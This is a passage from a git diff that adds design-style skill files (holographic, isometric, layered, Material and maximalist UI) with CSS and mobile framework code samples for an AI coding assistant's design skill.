.padding(24.dp), + verticalArrangement = Arrangement.Center + ) { + // High Contrast Card + Box( + modifier = Modifier + .fillMaxWidth() + .background(Color.White, RoundedCornerShape(8.dp)) + .border(3.dp, Color.Black, RoundedCornerShape(8.dp)) + .padding(32.dp) + ) { + Column { + Text( + text = "Maximum Legibility", + fontSize = 24.sp, + fontWeight = FontWeight.Bold, + color = Color.Black + ) + Spacer(Modifier.height(16.dp)) + Text( + text = "Content is king. Borders are stark. Contrast ratios exceed 7:1.", + fontSize = 18.sp, + color = Color.Black + ) + } + } + + Spacer(Modifier.height(32.dp)) + + // High Contrast Button + Button( + onClick = { }, + colors = ButtonDefaults.buttonColors( + containerColor = Color(0xFF0000FF), + contentColor = Color.White + ), + shape = RoundedCornerShape(4.dp), + elevation = null, // Disable shadows for stark look + modifier = Modifier.fillMaxWidth().height(56.dp) + ) { + Text("CONFIRM ACTION", fontSize = 18.sp, fontWeight = FontWeight.Black) + } + } +} +``` +- Use `Modifier.border(3.dp, Color.Black)` around containers. +- Disable button elevations (`elevation = null`) to keep the design perfectly flat and sharp. + +## Do's and Don'ts +- **DO**: Run your colors through a contrast checker. If it's below 7:1, adjust it. +- **DON'T**: Rely on color alone to convey meaning (e.g., don't just make an error state red; make it red AND add an error icon AND bold the text). + +## Limitations +- This is a styling reference and does not replace environment-specific validation, accessibility testing, or expert review. +- Ensure appropriate contrast ratios and responsive behaviors are verified separately. diff --git a/antigravity-awesome-skills/plugins/antigravity-awesome-skills-claude/skills/design-it/holographic-ui/SKILL.md b/antigravity-awesome-skills/plugins/antigravity-awesome-skills-claude/skills/design-it/holographic-ui/SKILL.md new file mode 100644 index 00000000..f01da6e5 --- /dev/null +++ b/antigravity-awesome-skills/plugins/antigravity-awesome-skills-claude/skills/design-it/holographic-ui/SKILL.md @@ -0,0 +1,310 @@ +--- +name: holographic-ui +description: Web and App implementation guide for Holographic UI. Trigger when user wants light-based appearance, projected interfaces, and transparent floating elements. +date_added: "2026-06-17" +risk: safe +source: self +source_type: self +--- + +# Holographic UI + +> "Made of light. Interfaces projected into thin air, visible but completely translucent." + + +## When to Use +Use this sub-style when the user's request matches the aesthetic described above. This is a child reference of the `design-it` skill and is not meant to be triggered directly. + +## Core Principles +1. **Zero Opacity Backgrounds**: Elements are never fully solid. Everything is semi-transparent, allowing the background to show through. +2. **Scanlines and Interference**: The illusion of a projection is sold by horizontal scanlines, slight chromatic aberration, or flickering. +3. **Luminous Edges**: The borders of elements are brighter than the centers, mimicking how lasers or light projections focus at the edges. + +## Visual DNA +- **Colors**: Almost exclusively monochrome Cyan, Blue, or Green, with white core highlights. +- **Typography**: Thin, technical sans-serifs. Must have a glowing `text-shadow`. +- **Styling**: Intensive use of `rgba()`, `mix-blend-mode: screen` or `add`, and CSS filters. + +## Web Implementation +- **CSS Example**: +```css +body { + background-color: #020202; /* Must be dark for holograms to show */ + background-image: url('dark-lab-background.jpg'); + background-size: cover; + color: #88ffff; +} + +.hologram-panel { + background: rgba(0, 200, 255, 0.05); /* Extremely sheer */ + border: 1px solid rgba(136, 255, 255, 0.5); + border-radius: 4px; + padding: 30px; + + /* The glowing edge */ + box-shadow: + inset 0 0 20px rgba(0, 200, 255, 0.2), + 0 0 15px rgba(0, 200, 255, 0.3); + + /* Scanline effect */ + background-image: linear-gradient( + rgba(136, 255, 255, 0.1) 1px, + transparent 1px + ); + background-size: 100% 4px; +} + +.holo-text { + font-family: 'Rajdhani', sans-serif; + text-transform: uppercase; + text-shadow: 0 0 8px rgba(136, 255, 255, 0.8); + mix-blend-mode: screen; +} + +/* Subtle flicker */ +.holo-flicker { + animation: hologramFlicker 4s infinite; +} + +@keyframes hologramFlicker { + 0%, 100% { opacity: 1; } + 92% { opacity: 1; } + 93% { opacity: 0.4; } + 94% { opacity: 0.9; } + 96% { opacity: 0.2; } + 98% { opacity: 1; } +} +``` + +## App Implementation + +### SwiftUI +```swift +struct HolographicUIView: View { + @State private var isFlickering = false + + var body: some View { + ZStack { + Color.black.ignoresSafeArea() + + VStack { + Text("HOLOGRAM ACTIVE") + .font(.custom("Courier", size: 24)) + .foregroundColor(Color(hex: "88FFFF")) + .shadow(color: Color(hex: "88FFFF"), radius: 10) + .blendMode(.screen) // Critical for light UI + + Spacer().frame(height: 40) + + VStack { + Text("SYSTEM DIAGNOSTICS") + .foregroundColor(Color(hex: "88FFFF")) + } + .padding(30) + .frame(maxWidth: .infinity) + .background(Color(hex: "88FFFF").opacity(0.05)) + .border(Color(hex: "88FFFF").opacity(0.5), width: 1) + // The glowing edge effect + .shadow(color: Color(hex: "88FFFF").opacity(0.5), radius: 15) + .blendMode(.screen) + .opacity(isFlickering ? 0.4 : 1.0) + } + .padding() + + // Scanline Overlay + LinearGradient( + stops: [ + .init(color: Color(hex: "88FFFF").opacity(0.1), location: 0), + .init(color: .clear, location: 0.5) + ], + startPoint: .top, endPoint: .bottom + ) + .frame(height: 4) + .background(Color.clear) + // You would tile this in a real app using an Image or custom shape + .blendMode(.screen) + } + .onAppear { + // Simulate flicker + Timer.scheduledTimer(withTimeInterval: 0.1, repeats: true) { _ in + if Int.random(in: 1...100) > 95 { + isFlickering.toggle() + DispatchQueue.main.asyncAfter(deadline: .now() + 0.1) { + isFlickering = false + } + } + } + } + } +} +``` +- `.blendMode(.screen)` is absolutely critical. It makes elements act like projected light. +- Stack multiple `.shadow()` modifiers to create a bloom effect around text and borders. + +### Flutter +```dart +class HolographicScreen extends StatelessWidget { + @override + Widget build(BuildContext context) { + return Scaffold( + backgroundColor: Colors.black, // Dark lab background + body: Stack( + children: [ + Padding( + padding: const EdgeInsets.all(24.0), + child: Column( + mainAxisAlignment: MainAxisAlignment.center, + children: [ + // Glowing Text + const Text( + 'HOLOGRAM ACTIVE', + style: TextStyle( + fontFamily: 'Courier', + fontSize: 24, + color: Color(0xFF88FFFF), + shadows: [Shadow(color: Color(0xFF88FFFF), blurRadius: 10)], + ), + ), + const SizedBox(height: 40), + + // Hologram Panel + Container( + width: double.infinity, + padding: const EdgeInsets.all(30), + decoration: BoxDecoration( + color: const Color(0xFF88FFFF).withOpacity(0.05), + border: Border.all(color: const Color(0xFF88FFFF).withOpacity(0.5)), + boxShadow: [ + BoxShadow(color: const Color(0xFF88FFFF).withOpacity(0.2), blurRadius: 15, spreadRadius: 5), + ], + ), + child: const Text( + 'SYSTEM DIAGNOSTICS', + textAlign: TextAlign.center, + style: TextStyle(color: Color(0xFF88FFFF)), + ), + ), + ], + ), + ), + // Scanlines (IgnorePointer so it doesn't block taps) + IgnorePointer( + child: ShaderMask( + blendMode: BlendMode.screen, // Makes it act like light + shaderCallback: (bounds) => const LinearGradient( + begin: Alignment.topCenter, end: Alignment.bottomCenter, + stops: [0.0, 0.5, 0.5, 1.0], + colors: [Colors.black12, Colors.black12, Colors.transparent, Colors.transparent], + ).createShader(bounds), + // To actually tile in Flutter, you often need a CustomPainter. + // Here we simulate the blend mode. + child: Container(color: const Color(0xFF88FFFF).withOpacity(0.1)), + ), + ), + ], + ), + ); + } +} +``` +- The `Shadow` array inside `TextStyle` creates the glowing text. +- `BoxShadow` with `spreadRadius` creates the glowing panel border. +- `ShaderMask` with `BlendMode.screen` layered over the UI gives it that light-projection quality. + +### React Native +```jsx +const HolographicScreen = () => { + return ( + + + + HOLOGRAM ACTIVE + + + + + SYSTEM DIAGNOSTICS + + + + {/* Pseudo-scanlines overlay. In a real app, use an repeating Image background. */} + + + + ); +}; +``` +- React Native doesn't support `mix-blend-mode` out of the box, so you must rely heavily on low-opacity backgrounds and intense `textShadow` / `shadowRadius`. +- Use `pointerEvents="none"` on scanline overlays so they don't block user interactions. + +### Jetpack Compose +```kotlin +@Composable +fun HolographicScreen() { + Box(modifier = Modifier.fillMaxSize().background(Color(0xFF020202))) { + Column( + modifier = Modifier.fillMaxSize().padding(24.dp), + verticalArrangement = Arrangement.Center, + horizontalAlignment = Alignment.CenterHorizontally + ) { + // Glowing Text + Text( + text = "HOLOGRAM ACTIVE", + fontFamily = FontFamily.Monospace, + fontSize = 24.sp, + color = Color(0xFF88FFFF), + style = TextStyle( + shadow = Shadow(color = Color(0xFF88FFFF), blurRadius = 10f) + ), + modifier = Modifier.graphicsLayer { blendMode = BlendMode.Screen } + ) + + Spacer(Modifier.height(40.dp)) + + // Glowing Panel + Box( + modifier = Modifier + .fillMaxWidth() + .graphicsLayer { blendMode = BlendMode.Screen } + .shadow(15.dp, ambientColor = Color(0xFF88FFFF), spotColor = Color(0xFF88FFFF)) + .background(Color(0xFF88FFFF).copy(alpha = 0.05f)) + .border(1.dp, Color(0xFF88FFFF).copy(alpha = 0.5f)) + .padding(30.dp), + contentAlignment = Alignment.Center + ) { + Text("SYSTEM DIAGNOSTICS", color = Color(0xFF88FFFF), fontFamily = FontFamily.Monospace) + } + } + + // Simulating scanlines overlay + Box( + modifier = Modifier + .fillMaxSize() + .background(Color(0xFF88FFFF).copy(alpha = 0.03f)) + ) + } +} +``` +- `Modifier.graphicsLayer { blendMode = BlendMode.Screen }` is exactly what you need in Compose to make elements act like projected light. +- Use Compose's `shadow` modifier with `ambientColor` and `spotColor` set to cyan to make the panels emit light. + +## Do's and Don'ts +- **DO**: Use `mix-blend-mode: screen` (web) or additive blending so overlapping holographic panels get brighter where they intersect. +- **DON'T**: Use any dark colors or drop shadows for the UI elements. Shadows don't exist in light projections. + +## Limitations +- This is a styling reference and does not replace environment-specific validation, accessibility testing, or expert review. +- Ensure appropriate contrast ratios and responsive behaviors are verified separately. diff --git a/antigravity-awesome-skills/plugins/antigravity-awesome-skills-claude/skills/design-it/isometric-design/SKILL.md b/antigravity-awesome-skills/plugins/antigravity-awesome-skills-claude/skills/design-it/isometric-design/SKILL.md new file mode 100644 index 00000000..ff203cac --- /dev/null +++ b/antigravity-awesome-skills/plugins/antigravity-awesome-skills-claude/skills/design-it/isometric-design/SKILL.md @@ -0,0 +1,228 @@ +--- +name: isometric-design +description: Web and App implementation guide for Isometric Design. Trigger when user wants angled 3D appearances without vanishing points, often used for technical illustrations. +date_added: "2026-06-17" +risk: safe +source: self +source_type: self +--- + +# Isometric Design + +> "The architect's view. A parallel projection where depth is constant and parallel lines never converge." + + +## When to Use +Use this sub-style when the user's request matches the aesthetic described above. This is a child reference of the `design-it` skill and is not meant to be triggered directly. + +## Core Principles +1. **Parallel Lines**: Unlike true 3D, isometric projection has no vanishing point. Everything is viewed from an exact 30-degree angle. +2. **Top-Down, Angled View**: The classic "SimCity" perspective. +3. **Blocky Architecture**: UI elements often look like city blocks or stacked tiles. + +## Visual DNA +- **Colors**: **Warm Tech** or **Earth-Grounded Elegance**. Isometric designs often look like physical models, so slightly muted, realistic colors work well. +- **Typography**: Keep text flat to the screen, or map it perfectly to the isometric planes (top, left, right). +- **Shadows**: Hard, long drop shadows cast at an exact angle (usually -45 or 45 degrees). + +## Web Implementation +- CSS transforms are perfect for this. Combine `rotateX(60deg)` and `rotateZ(-45deg)`. +- **CSS Example**: +```css +.isometric-grid { + /* The foundation */ + transform-style: preserve-3d; + transform: rotateX(60deg) rotateZ(-45deg); +} + +.iso-block { + width: 100px; + height: 100px; + background-color: var(--secondary-base); + position: relative; + transition: transform 0.3s; +} + +/* Creating the 3D block with pseudo-elements */ +.iso-block::before { + content: ''; + position: absolute; + width: 20px; /* Depth */ + height: 100%; + background-color: var(--primary-text); /* Darker shade for side */ + right: 100%; + transform-origin: right; + transform: skewY(-45deg); +} + +.iso-block::after { + content: ''; + position: absolute; + width: 100%; + height: 20px; /* Depth */ + background-color: var(--cta-highlight); /* Lightest shade for top/bottom */ + top: 100%; + transform-origin: top; + transform: skewX(-45deg); +} + +.iso-block:hover { + transform: translateZ(20px) translate(-10px, -10px); +} +``` + +## App Implementation + +### SwiftUI +```swift +struct IsometricView: View { + var body: some View { + ZStack { + Color.white.ignoresSafeArea() + + // Isometric Stack + VStack(spacing: 0) { + // Top layer + Rectangle() + .fill(Color.blue) + .frame(width: 150, height: 150) + .overlay(Text("TOP").foregroundColor(.white)) + + // Shadow simulation + Rectangle() + .fill(Color.black.opacity(0.2)) + .frame(width: 150, height: 20) + } + // The exact 3D transformations for Isometric projection + .rotationEffect(.degrees(-45)) + .rotation3DEffect(.degrees(60), axis: (x: 1, y: 0, z: 0)) + } + } +} +``` +- SwiftUI's `.rotation3DEffect` makes this surprisingly easy. Rotate Z by -45 degrees first (via `.rotationEffect`), then rotate X by 60 degrees. +- You can stack multiple views along the Z-axis (or simulate it with Y offsets before the 3D rotation) to create towering isometric city blocks. + +### Flutter +```dart +import 'dart:math'; + +class IsometricScreen extends StatelessWidget { + @override + Widget build(BuildContext context) { + return Scaffold( + backgroundColor: Colors.white, + body: Center( + child: Transform( + // The Isometric Matrix Math + alignment: FractionalOffset.center, + transform: Matrix4.identity() + ..setEntry(3, 2, 0.001) // perspective + ..rotateX(pi / 3) // 60 degrees + ..rotateZ(-pi / 4), // -45 degrees + child: Container( + width: 150, + height: 150, + decoration: BoxDecoration( + color: Colors.blue, + boxShadow: [ + // Hard isometric drop shadow + BoxShadow( + color: Colors.black.withOpacity(0.3), + offset: const Offset(20, 20), + blurRadius: 0, // No blur for isometric + ), + ], + ), + child: const Center(child: Text('ISO BLOCK', style: TextStyle(color: Colors.white))), + ), + ), + ), + ); + } +} +``` +- `Transform` with `Matrix4` is required in Flutter. Applying `rotateX` and `rotateZ` yields the classic isometric grid. +- Isometric shadows are usually completely hard (0 `blurRadius`) and offset perfectly along the grid axes. + +### React Native +```jsx +const IsometricScreen = () => { + return ( + + + + ISO BLOCK + + + + ); +}; +``` +- The `transform` array processes in order. Apply `rotateX` then `rotateZ`. +- Hard shadows (`shadowRadius: 0`) sell the illustration look. + +### Jetpack Compose +```kotlin +@Composable +fun IsometricScreen() { + Box( + modifier = Modifier.fillMaxSize().background(Color.White), + contentAlignment = Alignment.Center + ) { + Box( + modifier = Modifier + .graphicsLayer { + // Isometric Transforms + rotationX = 60f + rotationZ = -45f + // Add subtle scale if it gets clipped + scaleX = 0.8f + scaleY = 0.8f + } + .size(150.dp) + // Draw a hard shadow behind the box + .drawBehind { + drawRect( + color = Color.Black.copy(alpha = 0.3f), + topLeft = Offset(40f, 40f), // Isometric offset + size = size + ) + } + .background(Color(0xFF2196F3)), + contentAlignment = Alignment.Center + ) { + Text("ISO BLOCK", color = Color.White, fontWeight = FontWeight.Bold) + } + } +} +``` +- Use `Modifier.graphicsLayer` to apply `rotationX` and `rotationZ`. +- To get a true hard isometric drop shadow in Compose without elevation blurring, use `Modifier.drawBehind` to manually draw a dark rectangle offset from the main content. + +## Do's and Don'ts +- **DO**: Use it for infographics, feature diagrams, or hero sections. +- **DON'T**: Build your entire app's functional UI in isometric projection. It's too hard to interact with. + +## Limitations +- This is a styling reference and does not replace environment-specific validation, accessibility testing, or expert review. +- Ensure appropriate contrast ratios and responsive behaviors are verified separately. diff --git a/antigravity-awesome-skills/plugins/antigravity-awesome-skills-claude/skills/design-it/layered-design/SKILL.md b/antigravity-awesome-skills/plugins/antigravity-awesome-skills-claude/skills/design-it/layered-design/SKILL.md new file mode 100644 index 00000000..1e2cb84f --- /dev/null +++ b/antigravity-awesome-skills/plugins/antigravity-awesome-skills-claude/skills/design-it/layered-design/SKILL.md @@ -0,0 +1,247 @@ +--- +name: layered-design +description: Web and App implementation guide for Layered Design. Trigger when user wants multiple depth levels, floating panels, and overlapping content. +date_added: "2026-06-17" +risk: safe +source: self +source_type: self +--- + +# Layered Design + +> "Stacking context. Interfaces built from overlapping, independent layers." + + +## When to Use +Use this sub-style when the user's request matches the aesthetic described above. This is a child reference of the `design-it` skill and is not meant to be triggered directly. + +## Core Principles +1. **Explicit Overlap**: Elements intentionally overlap each other to break the grid and show depth. +2. **Clear Stratification**: Every layer must be visually distinct via shadow, border, or contrasting color. +3. **Parallax Scrolling**: Background layers move slower than foreground layers during interaction/scrolling. + +## Visual DNA +- **Colors**: **Monochromatic Brown** or **Sophisticated Neutral**. Layering works best when the background is distinct from the floating elements. +- **Typography**: Often large, overlapping text that spans across image and background layers. +- **Spacing**: Negative space is required around overlapping elements so they don't feel cluttered. + +## Web Implementation +- Heavy use of `position: absolute`, negative margins, and `z-index`. +- **CSS Example**: +```css +.layer-container { + position: relative; + padding: 100px; +} + +.layer-bg-image { + position: absolute; + top: 0; right: 0; + width: 60%; + height: 400px; + object-fit: cover; + z-index: 1; +} + +.layer-text-box { + position: relative; + z-index: 2; /* Sits above the image */ + background: white; + padding: 40px; + width: 50%; + margin-top: 200px; /* Pulls it down over the image */ + box-shadow: 0 20px 40px rgba(0,0,0,0.1); + /* Optional: border to define edge */ + border-left: 4px solid var(--cta-highlight); +} +``` + +## App Implementation + +### SwiftUI +```swift +struct LayeredDesignView: View { + var body: some View { + ScrollView { + ZStack(alignment: .top) { + // Background Image Layer (Back) + Image("architectural-bg") + .resizable() + .aspectRatio(contentMode: .fill) + .frame(height: 400) + .offset(x: 40, y: 0) // Shifted right + .zIndex(1) + + // Content Card Layer (Front) + VStack(alignment: .leading, spacing: 16) { + Text("Stacking Context") + .font(.largeTitle).bold() + Text("This card intentionally overlaps the background image to create depth without relying on a grid.") + .foregroundColor(.secondary) + } + .padding(40) + .background(Color.white) + .shadow(color: Color.black.opacity(0.1), radius: 30, y: 20) + .offset(x: -40, y: 200) // Shifted left and pulled down + .zIndex(2) + } + .padding(.bottom, 200) // Account for the offset + } + } +} +``` +- `ZStack` is the foundation of layered design in SwiftUI. +- Use `.offset()` to intentionally break the alignment and create overlapping compositions. +- Explicitly set `.zIndex()` if your offsets might cause unexpected paint orders. + +### Flutter +```dart +class LayeredDesignScreen extends StatelessWidget { + @override + Widget build(BuildContext context) { + return Scaffold( + body: SingleChildScrollView( + child: SizedBox( + height: 600, // Fixed height stack or use constraints + child: Stack( + children: [ + // Background Image Layer + Positioned( + top: 0, + right: -40, // Shifted offscreen right + width: MediaQuery.of(context).size.width * 0.8, + height: 400, + child: Image.asset('assets/architectural-bg.jpg', fit: BoxFit.cover), + ), + + // Content Card Layer + Positioned( + top: 250, // Overlaps the bottom of the image + left: 20, // Overlaps the left of the image + width: MediaQuery.of(context).size.width * 0.7, + child: Container( + padding: const EdgeInsets.all(40), + decoration: BoxDecoration( + color: Colors.white, + boxShadow: [ + BoxShadow(color: Colors.black.withOpacity(0.1), blurRadius: 30, offset: const Offset(0, 20)) + ], + ), + child: Column( + crossAxisAlignment: CrossAxisAlignment.start, + children: const [ + Text('Stacking Context', style: TextStyle(fontSize: 32, fontWeight: FontWeight.bold)), + SizedBox(height: 16), + Text('This card intentionally overlaps the background image.', style: TextStyle(color: Colors.grey)), + ], + ), + ), + ), + ], + ), + ), + ), + ); + } +} +``` +- The `Stack` widget with `Positioned` children is required. +- You can use negative values in `Positioned` (e.g., `right: -40`) to bleed layers off the edge of the screen, which is a common trope in layered design. + +### React Native +```jsx +const LayeredDesignScreen = () => { + return ( + + + + {/* Background Image Layer */} + + + {/* Content Card Layer */} + + Stacking Context + This card intentionally overlaps the background image. + + + + + ); +}; +``` +- Heavy use of `position: 'absolute'` inside a relative container. +- Manage `zIndex` explicitly. Note that on Android, `elevation` also controls Z-indexing, so the card must have a higher `elevation` than the image. + +### Jetpack Compose +```kotlin +@Composable +fun LayeredDesignScreen() { + Column(modifier = Modifier.verticalScroll(rememberScrollState())) { + Box(modifier = Modifier.height(600.dp).fillMaxWidth()) { + + // Background Image Layer + Image( + painter = painterResource(id = R.drawable.architectural_bg), + contentDescription = null, + contentScale = ContentScale.Crop, + modifier = Modifier + .align(Alignment.TopEnd) + .offset(x = 40.dp) // Bleed off right edge + .width(300.dp) + .height(400.dp) + .zIndex(1f) + ) + + // Content Card Layer + Box( + modifier = Modifier + .align(Alignment.TopStart) + .offset(x = 20.dp, y = 250.dp) // Overlap the image + .width(280.dp) + .zIndex(2f) + .shadow(30.dp) + .background(Color.White) + .padding(40.dp) + ) { + Column { + Text("Stacking Context", fontSize = 32.sp, fontWeight = FontWeight.Bold) + Spacer(Modifier.height(16.dp)) + Text("This card intentionally overlaps the background image.", color = Color.Gray) + } + } + } + } +} +``` +- `Box` acts as your stack. +- Use `Modifier.align()` to set the baseline position, then `Modifier.offset()` to push it out of grid alignment. +- `Modifier.zIndex()` ensures the content card always renders on top of the image. + +## Do's and Don'ts +- **DO**: Use contrasting colors or drop shadows where layers intersect so the boundary is clear. +- **DON'T**: Trap interactive elements (like buttons) underneath other layers where they cannot be clicked. + +## Limitations +- This is a styling reference and does not replace environment-specific validation, accessibility testing, or expert review. +- Ensure appropriate contrast ratios and responsive behaviors are verified separately. diff --git a/antigravity-awesome-skills/plugins/antigravity-awesome-skills-claude/skills/design-it/material-design/SKILL.md b/antigravity-awesome-skills/plugins/antigravity-awesome-skills-claude/skills/design-it/material-design/SKILL.md new file mode 100644 index 00000000..c31ead1a --- /dev/null +++ b/antigravity-awesome-skills/plugins/antigravity-awesome-skills-claude/skills/design-it/material-design/SKILL.md @@ -0,0 +1,275 @@ +--- +name: material-design +description: Web and App implementation guide for Material Design. Trigger when user wants Google's aesthetic, elevation, motion, and consistent components. +date_added: "2026-06-17" +risk: safe +source: self +source_type: self +--- + +# Material Design + +> "Digital paper and ink. Interfaces built on the physical properties of stacked material." + + +## When to Use +Use this sub-style when the user's request matches the aesthetic described above. This is a child reference of the `design-it` skill and is not meant to be triggered directly. + +## Core Principles +1. **Z-Axis Elevation**: Everything exists on a specific layer. Shadows communicate hierarchy and state. +2. **Meaningful Motion**: Animations are continuous, guiding the user's focus from one state to the next (e.g., ripple effects, shared element transitions). +3. **Structured Layout**: Strict adherence to an 8dp baseline grid and specific component anatomies (cards, FABs, app bars). + +## Visual DNA +- **Colors**: Works excellently with **Desert Mirage** or **Minimalist Slate**. Utilize primary, secondary, surface, and error semantic mapping. +- **Typography**: `Roboto` or `Google Sans` (or equivalent clean geometric sans). Stick strictly to the Material Type Scale (H1-H6, Subtitle, Body, Caption, Overline). +- **Shapes**: Moderately rounded corners (4px to 16px). + +## Web Implementation +- Do not reinvent the wheel: mimic standard Material elevations. +- **CSS Example**: +```css +.material-card { + background: var(--bg-surface); + border-radius: 8px; + padding: 16px; + /* Material Elevation 2 */ + box-shadow: 0 3px 1px -2px rgba(0,0,0,0.2), + 0 2px 2px 0 rgba(0,0,0,0.14), + 0 1px 5px 0 rgba(0,0,0,0.12); + transition: box-shadow 0.28s cubic-bezier(0.4, 0, 0.2, 1); +} + +.material-btn { + text-transform: uppercase; + font-weight: 500; + letter-spacing: 1.25px; + padding: 0 16px; + height: 36px; + border-radius: 4px; + background: var(--cta-highlight); + color: #fff; + border: none; + /* Ripple effect is usually handled via JS, but structure is key */ +} +``` + +## App Implementation + +### SwiftUI +```swift +struct MaterialCard: View { + var body: some View { + VStack(alignment: .leading, spacing: 12) { + Text("Material Card") + .font(.system(size: 20, weight: .medium)) + Text("Digital paper and ink. Shadows communicate where this surface sits.") + .font(.system(size: 14)) + .foregroundColor(.secondary) + HStack { + Spacer() + Button("ACTION") {} + .font(.system(size: 14, weight: .medium)) + .foregroundColor(.accentColor) + .padding(.horizontal, 12) + .padding(.vertical, 8) + } + } + .padding(16) + .background(Color(.systemBackground)) + .cornerRadius(8) + // Material Elevation 2 equivalent + .shadow(color: Color.black.opacity(0.12), radius: 3, x: 0, y: 1) + .shadow(color: Color.black.opacity(0.08), radius: 2, x: 0, y: 2) + } +} + +// Material FAB +struct MaterialFAB: View { + var body: some View { + Button(action: {}) { + Image(systemName: "plus") + .font(.system(size: 24)) + .foregroundColor(.white) + .frame(width: 56, height: 56) + .background(Color.accentColor) + .cornerRadius(16) + .shadow(color: Color.black.opacity(0.2), radius: 6, x: 0, y: 3) + .shadow(color: Color.black.opacity(0.14), radius: 4, x: 0, y: 2) + } + } +} +``` +- Emulate Material elevation levels by stacking multiple `.shadow()` modifiers at different blur/offset values. +- Use `.cornerRadius(8...16)` — Material Design 3 uses more rounded shapes than M2. +- Animate shadow changes using `.animation(.easeInOut(duration: 0.28))` — Material uses 280ms transitions. + +### Flutter +```dart +// Flutter IS Material Design — use it natively +class MaterialScreen extends StatelessWidget { + @override + Widget build(BuildContext context) { + return MaterialApp( + theme: ThemeData( + useMaterial3: true, + colorSchemeSeed: const Color(0xFF6750A4), // Material You seed + // Map your universal palette here + ), + home: Scaffold( + appBar: AppBar( + title: const Text('Material Design'), + // M3 appbar elevation is 0 by default, scrolled = 3 + ), + body: Padding( + padding: const EdgeInsets.all(16), + child: Card( + elevation: 2, + shape: RoundedRectangleBorder(borderRadius: BorderRadius.circular(12)), + child: Padding( + padding: const EdgeInsets.all(16), + child: Column( + crossAxisAlignment: CrossAxisAlignment.start, + mainAxisSize: MainAxisSize.min, + children: [ + Text('Material Card', + style: Theme.of(context).textTheme.titleLarge), + const SizedBox(height: 8), + Text('Digital paper and ink.', + style: Theme.of(context).textTheme.bodyMedium), + const SizedBox(height: 16), + Align( + alignment: Alignment.centerRight, + child: TextButton( + onPressed: () {}, + child: const Text('ACTION'), + ), + ), + ], + ), + ), + ), + ), + floatingActionButton: FloatingActionButton( + onPressed: () {}, + child: const Icon(Icons.add), + // M3 FAB automatically gets correct elevation & shape + ), + ), + ); + } +} +``` +- **Flutter is the native home of Material Design.** Use `MaterialApp`, `ThemeData(useMaterial3: true)`, and standard widgets. +- Map the universal palette via `colorSchemeSeed` or manually build a `ColorScheme`. +- Use the Material type scale via `Theme.of(context).textTheme`. +- Ripple effects come free with `InkWell` and `ElevatedButton`. + +### React Native +```jsx +import { Provider as PaperProvider, Card, Button, Title, Paragraph } from 'react-native-paper'; + +const materialTheme = { + ...DefaultTheme, + roundness: 8, + colors: { + ...DefaultTheme.colors, + primary: '#6750A4', // Material You purple + surface: '#FFFBFE', + background: '#FFFBFE', + }, +}; + +const MaterialScreen = () => ( + + + + + Material Card + Digital paper and ink. Shadows communicate hierarchy. + + + + + + + {/* Filled button — Material M3 style */} + + + +); +``` +- Use `react-native-paper` — it implements Material Design 3 natively for React Native. +- Configure the theme to map your universal palettes to Material semantic colors. +- Use `Card` (with `elevation` prop), `Button` (with `mode` prop), and `TextInput` for correct Material behavior. +- Ripple effects on Android come free via `Pressable`; on iOS, use `react-native-paper`'s `TouchableRipple`. + +### Jetpack Compose +```kotlin +// Jetpack Compose IS Material Design — use it natively +@Composable +fun MaterialScreen() { + MaterialTheme( + colorScheme = lightColorScheme( + primary = Color(0xFF6750A4), + onPrimary = Color.White, + surface = Color(0xFFFFFBFE), + ), + typography = Typography( + titleLarge = TextStyle(fontSize = 22.sp, fontWeight = FontWeight.Medium), + bodyMedium = TextStyle(fontSize = 14.sp, lineHeight = 20.sp), + ), + ) { + Scaffold( + topBar = { + TopAppBar(title = { Text("Material Design") }) + }, + floatingActionButton = { + FloatingActionButton(onClick = {}) { + Icon(Icons.Default.Add, contentDescription = "Add") + } + }, + ) { padding -> + Column(modifier = Modifier.padding(padding).padding(16.dp)) { + Card( + modifier = Modifier.fillMaxWidth(), + elevation = CardDefaults.cardElevation(defaultElevation = 2.dp), + shape = RoundedCornerShape(12.dp), + ) { + Column(modifier = Modifier.padding(16.dp)) { + Text("Material Card", + style = MaterialTheme.typography.titleLarge) + Spacer(Modifier.height(8.dp)) + Text("Digital paper and ink.", + style = MaterialTheme.typography.bodyMedium) + Spacer(Modifier.height(16.dp)) + TextButton( + onClick = {}, + modifier = Modifier.align(Alignment.End), + ) { Text("ACTION") } + } + } + } + } + } +} +``` +- **Jetpack Compose is Material Design.** Use `MaterialTheme`, `Card`, `Scaffold`, `TopAppBar`, and `FloatingActionButton` as-is. +- Map the universal palette into `lightColorScheme()` or `darkColorScheme()`. +- Use `MaterialTheme.typography` for the complete type scale. +- Motion uses `animateFloatAsState` with Material easing: `FastOutSlowInEasing` (equivalent to `cubic-bezier(0.4, 0.0, 0.2, 1)`). + +## Do's and Don'ts +- **DO**: Use the standard Material easing curves for animations (`cubic-bezier(0.4, 0.0, 0.2, 1)`). +- **DON'T**: Mix overlapping shadows arbitrarily. Elements should clearly sit 'above' or 'below' others. + +## Limitations +- This is a styling reference and does not replace environment-specific validation, accessibility testing, or expert review. +- Ensure appropriate contrast ratios and responsive behaviors are verified separately. diff --git a/antigravity-awesome-skills/plugins/antigravity-awesome-skills-claude/skills/design-it/maximalism/SKILL.md b/antigravity-awesome-skills/plugins/antigravity-awesome-skills-claude/skills/design-it/maximalism/SKILL.md new file mode 100644 index 00000000..4afff8b6 --- /dev/null +++ b/antigravity-awesome-skills/plugins/antigravity-awesome-skills-claude/skills/design-it/maximalism/SKILL.md @@ -0,0 +1,297 @@ +--- +name: maximalism +description: Web and App implementation guide for Controlled Maximalism. Trigger when user wants lots of elements, dense content, but a highly curated and artistic presentation. +date_added: "2026-06-17" +risk: safe +source: self +source_type: self +--- + +# Controlled Maximalism + +> "Dense and rich, but deeply intentional. Like an exquisitely curated museum of artifacts." + + +## When to Use +Use this sub-style when the user's request matches the aesthetic described above. This is a child reference of the `design-it` skill and is not meant to be triggered directly. + +## Core Principles +1. **High Density**: The screen is packed with information, imagery, and interactive elements. +2. **Ornate Detailing**: Use of decorative borders, intricate textures, and classic design flourishes. +3. **Structured Chaos**: Unlike Vibrant Maximalism, the layout here is based on a strict underlying grid that holds the massive amount of content together. + +## Visual DNA +- **Colors**: **Monochromatic Brown**, **Yacht Club**, or rich jewel tones (emerald, ruby, sapphire, gold). +- **Typography**: Ornate serifs (like `Cinzel` or `Playfair Display`) paired with dense, highly legible sans-serif body copy. +- **Borders & Dividers**: Extensive use of thin, elegant lines separating every piece of content. + +## Web Implementation +- Use dense CSS Grid layouts. +- **CSS Example**: +```css +body { + background-color: #0F172A; /* Deep slate */ + color: #E2E8F0; + background-image: url('subtle-damask-pattern.png'); +} + 